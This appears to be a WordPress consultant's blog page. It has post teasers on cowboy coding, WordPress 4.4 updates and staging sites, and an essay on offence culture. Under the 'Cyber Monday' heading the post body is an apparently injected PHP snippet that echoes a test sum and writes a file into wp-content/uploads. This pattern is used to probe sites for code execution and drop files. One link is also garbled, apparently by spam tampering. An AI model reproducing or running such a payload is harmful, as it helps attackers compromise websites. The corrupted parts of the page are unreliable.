Sometimes it pays to Cowboy Code.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.
Even Legit Cowboys Shouldn't Cowboy Code. Creative Commons Image Attribution
Even Legit Cowboys Shouldn’t Cowboy Code. Creative Commons Image Attribution

“Im going to regret this moment” I said out loud as I ignored my own advice about having a server-level backup before I started messing around with my server settings.

When I am working on client sites, I am beyond careful to never code on the live site, and to have multiple redundant backups, so that no matter how routine a task is, if it breaks something, I can roll back the changes and all is well.

When I’m working on my own sites, however, I often ride a little faster and looser with the code. It’s my little way of living dangerously.

That brings us back to Saturday night…

Read the rest of this post over at the brand-new WP Steward Blog

Update Your Site To WordPress 4.4, like a Pro.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.
image of a conductor on a train performing maintenance
Let a pro handle updates. They aren’t in a hurry, though. Creative Commons Image Attribution

Last week I watched live as the WordPress core developers rushed down to the wire to release version 4.4. It was the first release that I’ve been around to watch be pushed live, and it was really fun.

I make my money on keeping people’s WordPress installs up to date and backed up, but I didn’t rush out to upgrade all client sites immediately.

Read the rest of this post over at the brand-new WP Steward Blog

Cyber Monday and The Freelancer’s Dilemma

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[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Beginner Mistakes in WordPress: not using a Staging Site.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.

Easily a top-ten mistake I see beginner WordPress users making is updating plugins, themes, and other code on the live site. Updating your code on the live site, without checking to see if it’s going to break stuff, is what developers call “Cowboy Coding,” and it’s an epidemic among beginners.

If you update it on the live site, and it breaks things, what are you going to do?

I’ll answer that: you’re going to have a broken website, and a painful day of getting things back like they were.

jesse petersen please tell me you didn't just cowboy code.
Not a developer? You have an excuse. Developers should immediately take <a href="http://wpworkflow read review.co” target=”_blank”>this course from my friend Jesse and stop cowboy coding forever.

“But wait,” you say! “How can we update the plugin on a live site without clicking ‘update’?!?!”

Read the rest of this post over at the brand-new WP Steward Blog

Something that Always Offends Me Just When I Need It.

standing up to offense-culture.
Perhaps a prioritized list is in order?
The current internet user is offended by something about every 15 minutes. Quick, go scroll through your Facebook profile and count how many people are ranting about something. I’m not above it. I find myself offended by something pretty regularly.

I have a proposal: next time you are tempted to be offended by something, try instead to focus on you. If you’re anything like me, there is plenty to be offended by without having to leave the confines of your own mind. Like a Pharisee dragging a woman caught in adultery into the town square, I’m often way too fixated on the problem outside of me.

My favorite part of that story (it’s in John 8:1-11 in the Bible in case you aren’t familiar) is that Jesus starts writing with his finger in the ground, and the oldest pick up on it first, and wisely leave.

Next time you're about to contribute to the 'I'm offended' chorus, first, use this filter. Click To TweetI’d love to know what he wrote there, but I’d imagine it was an “encouragement” toward introspection. Whatever it was, it made the accusation of caught-in-the-act adultery seem un-prosecutable.

I’d be willing to bet that whatever it is you are offended by will look different in the white-hot light of your biggest current failure.

Before you contribute to the noise about what that politician said, or what that celebrity didn’t say in that interview, or how those people are getting offended by the wrong offensive thing, perhaps take a step back. If you legitimately can’t find anything in your own life about which to be offended (which is a red flag that you need a wise third-party to weigh in), then by all means throw some rocks.

The rest of us will be working on ourselves. I personally have about enough to be offended by for the next 30 years or so, just working through my own backlog.